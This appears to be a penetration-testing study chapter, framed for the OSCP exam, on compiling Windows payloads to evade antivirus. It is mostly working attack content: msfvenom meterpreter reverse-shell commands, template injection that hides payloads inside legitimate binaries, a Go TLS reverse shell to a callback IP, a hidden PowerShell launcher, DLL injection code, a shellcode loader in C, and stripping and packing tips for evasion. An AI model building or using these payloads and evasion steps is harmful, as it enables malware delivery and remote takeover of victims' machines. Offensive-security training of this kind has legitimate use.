Compilation Techniques
Overview
Compilation is the bridge between raw shellcode and a functional executable. The compiler you choose — and how you configure it — directly impacts AV detection rates. This chapter covers the full spectrum: from msfvenom’s built-in template injection to Go cross-compilation with stripped metadata.
1. msfvenom Direct Executable Generation
The simplest path — msfvenom generates the PE file for you.
# Basic Windows reverse shell executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o payload.exe
# Using a less common payload to reduce signature matching
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o payload.exe
# Using x86 payload with a stager
msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=443 -f exe -o payload.exe
Detection risk: HIGH — Direct msfvenom executables carry well-known signatures. Use only for testing, not for production evasion.
2. Template Injection (-x and -k)
Template injection is one of the most practical msfvenom evasion techniques. It embeds your shellcode into a legitimate-looking binary.
# Inject payload into a clean executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
-x /usr/share/windows-binaries/cscript.exe -k -f exe -o legit.exe
# Using a custom clean binary as template
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
-x clean_binary.exe -k -f exe -o infected.exe
What -k Does
The -k flag preserves the original binary’s functionality. Without it, the original entry point is overwritten and the template binary no longer runs normally — making the disguise obvious.
How Template Injection Works Internally
Template injection modifies the PE (Portable Executable) structure at three key levels:
① Entry Point Hijacking
- The PE header’s
AddressOfEntryPoint(in the Optional Header) is changed to point to your injected shellcode instead of the original code section. - When the OS loader runs the binary, execution begins at your shellcode first.
② Shellcode Placement
- Your shellcode is written into an existing section (usually
.textor.data) or into a newly created section (.msfvenomor similar). - If an existing section has enough space, msfvenom appends the shellcode at the end of that section’s raw data.
③ Original Entry Point Preservation (with -k)
- msfvenom prepends a small “trampoline” stub before your shellcode.
- This stub: (a) executes your payload, then (b) transfers control to the original entry point so the legitimate binary continues running.
- The trampoline uses a
callorjmpinstruction to the original OEP (Original Entry Point).
┌─────────────────────────────────────────────┐
│ PE Header │
│ ├─ AddressOfEntryPoint → New Entry Point │
│ └─ Sections: .text, .rdata, .data, .rsrc │
├─────────────────────────────────────────────┤
│ .text section │
│ ├─ [0x0000] Trampoline stub (with -k) │
│ ├─ [0x0010] Your shellcode │
│ └─ [0xXXXX] Original binary code (unchanged)│
└─────────────────────────────────────────────┘
Where to Get Clean Templates
# Pre-installed clean binaries on Kali
ls /usr/share/windows-binaries/
# Common choices:
# cscript.exe, wscript.exe, regsvr32.exe, rundll32.exe
# Notepad.exe, mspaint.exe, calc.exe
# Better: collect clean binaries from your own Windows VM
# This ensures the template matches what the target environment expects
3. MinGW Cross-Compilation
MinGW (Minimalist GNU for Windows) lets you compile C/C++ Windows executables on Linux.
Setup on Kali
# Install MinGW-w64
sudo apt install -y gcc-mingw-w64 g++-mingw-w64
# Verify installation
x86_64-w64-mingw32-gcc --version
i686-w64-mingw32-gcc --version
Basic Compilation
# Compile a C source file to a 64-bit Windows executable
x86_64-w64-mingw32-gcc -o payload.exe payload.c
# Compile a 32-bit Windows executable
i686-w64-mingw32-gcc -o payload.exe payload.c
Linking Libraries
# Link against Windows API libraries
x86_64-w64-mingw32-gcc -o payload.exe payload.c -lws2_32 -lwininet -ladvapi32
# Common Windows libraries:
# -lws2_32 → Winsock (networking)
# -lwininet → WinINet (HTTP)
# -ladvapi32 → Advanced Windows API (registry, crypto)
# -luser32 → User interface
# -lkernel32 → Core Windows API (auto-linked by MinGW)
# -lshell32 → Shell operations
# -lpsapi → Process status API
Static vs Dynamic Linking
# Dynamic linking (default) — smaller binary, depends on target DLLs
x86_64-w64-mingw32-gcc -o payload.exe payload.c
# Static linking — larger binary, self-contained, no external DLL dependencies
x86_64-w64-mingw32-gcc -static -o payload.exe payload.c -lws2_32
# Static linking pros:
# + Works on minimal Windows installations
# + No missing DLL errors
# + Harder for AV to correlate with known imports
# Static linking cons:
# + Larger file size (easier to flag)
# + May trigger "statically linked" heuristics
Stripping and Optimization
# Strip debug symbols and reduce binary size
x86_64-w64-mingw32-gcc -Os -s -o payload.exe payload.c
# -Os → Optimize for size (not speed)
# -s → Strip all symbol information
# -ffunction-sections -Wl,--gc-sections → Remove unused functions
x86_64-w64-mingw32-gcc -Os -s -ffunction-sections -Wl,--gc-sections -o payload.exe payload.c
4. Go Cross-Compilation
Go is exceptionally powerful for AV evasion because:
- It produces statically linked binaries by default
- No external runtime dependencies
- Easy cross-compilation with environment variables
- Large, legitimate Go binaries are common (Docker, Kubernetes, Terraform)
Setup on Kali
# Install Go
sudo apt install -y golang-go
# Verify
go version
Cross-Compilation Commands
# Compile for Windows 64-bit
GOOS=windows GOARCH=amd64 go build -o payload.exe payload.go
# Compile for Windows 32-bit
GOOS=windows GOARCH=386 go build -o payload.exe payload.go
# Compile for macOS
GOOS=darwin GOARCH=amd64 go build -o payload app.go
# Compile for Linux ARM (e.g., Raspberry Pi)
GOOS=linux GOARCH=arm go build -o payload app.go
Stripping with ldflags
# Strip debug info, DWARF symbols, and build IDs
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go
# -s → Strip symbol table and debug information
# -w → Strip DWARF debugging information
# Combined effect: smaller binary, no Go module metadata
# Additional ldflags for deeper stripping
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -o payload.exe payload.go
Go Payload Example: Reverse Shell
package main
import (
"crypto/tls"
"net"
"os"
"os/exec"
)
func main() {
// TLS connection to evade basic network inspection
conn, err := tls.Dial("tcp", "10.10.14.3:443", &tls.Config{InsecureSkipVerify: true})
if err != nil {
return
}
defer conn.Close()
cmd := exec.Command("cmd.exe")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Start()
cmd.Wait()
}
Go Payload Example: PowerShell Launcher
package main
import (
"os/exec"
"syscall"
)
func main() {
// Base64-encoded PowerShell payload (decode + invoke at runtime)
b64 := "JABDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBuAGUAdAAuAFQAbABzAC4A... (truncated)"
// Create hidden window
cmd := exec.Command("powershell.exe", "-encodedcommand", b64)
cmd.SysProcAttr = &syscall.SysProcAttr{
CreationFlags: 0x08000000, // CREATE_NO_WINDOW
}
cmd.Run()
}
Go Payload Example: Reflective DLL Injection
package main
/*
#cgo LDFLAGS: -lkernel32 -ladvapi32 -lntdll
#include <windows.h>
#include <stdlib.h>
int inject_dll(int pid, char *dll_path) {
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!proc) return -1;
LPVOID remote = VirtualAllocEx(proc, NULL, strlen(dll_path)+1,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(proc, remote, dll_path, strlen(dll_path)+1, NULL);
HMODULE kernel = GetModuleHandleA("kernel32.dll");
FARPROC loadlib = GetProcAddress(kernel, "LoadLibraryA");
HANDLE thread = CreateRemoteThread(proc, NULL, 0,
(LPTHREAD_START_ROUTINE)loadlib, remote, 0, NULL);
WaitForSingleObject(thread, INFINITE);
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(proc);
return 0;
}
*/
import "C"
import "unsafe"
func main() {
pid := 1234 // Target process ID
dll := C.CString("C:\\Users\\target\\malicious.dll")
defer C.free(unsafe.Pointer(dll))
C.inject_dll(C.int(pid), dll)
}
5. Compiler Comparison for AV Evasion
| Compiler | Evasion | Ease | Binary Size | Static Link | Best For |
|---|---|---|---|---|---|
| msfvenom | Low | ★★★★★ | Small | No | Quick tests, template injection |
| MinGW | Medium | ★★★☆☆ | Medium | Yes | C/C++ payloads, API calls |
| Go | High | ★★★★☆ | Large | Yes (default) | Self-contained, no deps |
| Visual Studio | Medium | ★★☆☆☆ | Medium | Yes | Complex Windows apps |
| Cobalt Strike | High | ★★★★☆ | Medium | N/A | C2 infrastructure, beacons |
| Rust | High | ★★☆☆☆ | Large | Yes | Advanced evasion projects |
Key Takeaways
- msfvenom: Fastest to generate, highest detection. Use template injection (
-x) to improve. - MinGW: Good middle ground. Compile your own C source with Windows API calls. Strip symbols.
- Go: Best for self-contained payloads. Large binary size is actually an advantage — blends in with legitimate Go tools.
- Cobalt Strike: Industry standard for red teams. Generates highly evasive beacons but requires a license.
- Rust: Growing in popularity. Memory-safe, great FFI with Windows APIs, but steeper learning curve.
6. Packing Techniques
Packing compresses and/or encrypts a binary’s code sections, then unpacks them at runtime.
UPX (Ultimate Packer for eXecutables)
# Install UPX
sudo apt install -y upx
# Compress a binary
upx --best payload.exe
# Decompress
upx -d payload.exe
# Common options
upx --ultra-brute payload.exe # Maximum compression
upx --overlay=copy payload.exe # Preserve overlays
Why UPX Is Heavily Detected
- Signature-based: UPX-packed binaries have recognizable stub patterns at the entry point.
- Behavioral indicators: The unpacking routine follows a predictable pattern — decompress to memory, transfer execution.
- YARA rules: Hundreds of YARA rules specifically match UPX stubs.
- EDR awareness: Modern EDRs detect the UPX unpacking behavior in real-time.
- Community flagging: Every AV vendor has flagged UPX since ~2005. It’s a known indicator.
Bottom line: UPX provides zero meaningful evasion against modern AV/EDR. It may bypass very old or basic scanners, but don’t rely on it.
Alternative Packers
| Packer | Status | Notes |
|---|---|---|
| ASPack | Abandoned | Still detected by modern AV |
| PECompact | Abandoned | Signature-based detection |
| Themida | Commercial | Strong protection, expensive |
| VMProtect | Commercial | Virtualization-based, high evasion |
| Custom packer | DIY | Best evasion, requires development |
Building a Custom Packer (Conceptual)
// Simplified custom packer concept
// 1. Read the original binary
// 2. Encrypt/compress the code sections
// 3. Prepend a small decryption stub
// 4. Set entry point to the stub
// At runtime:
// 1. Stub decrypts the original code into memory
// 2. Transfers execution to the decrypted code
// 3. Original binary never touches disk in decrypted form
// Key evasion improvements over UPX:
// - Unique encryption algorithm (no known signature)
// - Custom compression (no recognizable patterns)
// - Anti-debugging checks in the stub
// - Section name randomization
// - Timestamp manipulation
7. Stripping Debug Symbols and Metadata
Metadata in compiled binaries provides AV with fingerprinting data. Remove it.
For MinGW
# Strip all symbols
x86_64-w64-mingw32-strip payload.exe
# Or compile with stripping built-in
x86_64-w64-mingw32-gcc -s -Os -o payload.exe payload.c
For Go
# Strip via ldflags
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go
# Verify with go tool
go tool objdump -all payload.exe | head -20
For Visual Studio
Project Properties → C/C++ → General → Debug Information Format → None
Project Properties → Linker → Debugging → Generate Debug Info → No
What Gets Stripped
| Item | Impact on Detection |
|---|---|
| Symbol table | Removes function names AV can match |
| DWARF/PDB info | Removes source file paths and line numbers |
| Build ID | Removes unique compiler fingerprint |
| Comments | Removes developer identifiers |
| Go module info | Removes import paths and version strings |
8. Practical OSCP Compilation Workflow
Step-by-Step Process
Step 1: Generate shellcode
└─ msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=443 -f c -o shellcode.c
Step 2: Write C wrapper (or Go launcher)
└─ Write payload.c that allocates RWX memory,
copies shellcode, and executes via CreateThread
Step 3: Compile with evasion flags
└─ x86_64-w64-mingw32-gcc -Os -s -ffunction-sections \
-Wl,--gc-sections -o payload.exe payload.c
Step 4: (Optional) Template injection
└─ msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=443 -x clean.exe -k -f exe -o final.exe
Step 5: Verify and test
└─ file payload.exe
└─ strings payload.exe | grep -i meterpreter # Check for leaks
└─ Test on Windows VM with AV enabled
Shellcode Wrapper Example (C + MinGW)
#include <windows.h>
unsigned char buf[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
// ... (rest of shellcode from msfvenom -f c)
};
int main() {
// Allocate RW memory, then promote to RX
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(addr, buf, sizeof(buf));
// Change permissions to execute
DWORD oldProtect;
VirtualProtect(addr, sizeof(buf), PAGE_EXECUTE_READ, &oldProtect);
// Execute via thread
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
// Keep process alive
Sleep(INFINITE);
return 0;
}
Checklist Before Submission
- Binary compiles cleanly on Kali (MinGW or Go)
- Debug symbols stripped (
-sflag orstrip) - No hardcoded IPs/ports visible in
stringsoutput - Tested on Windows VM with Defender enabled
- Listener configured on attack machine
- Have a backup payload method ready (template injection, direct msfvenom)
- Documented the compilation command for reproducibility
Quick Reference Card
# ── msfvenom template injection ──
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
-x /usr/share/windows-binaries/cscript.exe -k -f exe -o out.exe
# ── MinGW compile + strip ──
x86_64-w64-mingw32-gcc -Os -s -o payload.exe payload.c
# ── Go cross-compile + strip ──
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go
# ── Check binary ──
file payload.exe
strings payload.exe | grep -iE "meterpreter|reverse|shell"
Exam Tips
- Template injection is your fastest win —
-xwith-kis easy to remember and often beats direct msfvenom output. - Go is your best compiler for custom payloads — statically linked, no dependencies, and large binaries blend in.
- Don’t waste time with UPX — it’s detected everywhere. Focus on compilation techniques instead.
- Always test on a Windows VM first — what works on Kali doesn’t always work on Windows with Defender.
- Have multiple payloads ready — if one gets flagged, pivot to a different compilation method immediately.
- Remember the
-kflag — without it, template injection breaks the original binary’s functionality, making detection obvious.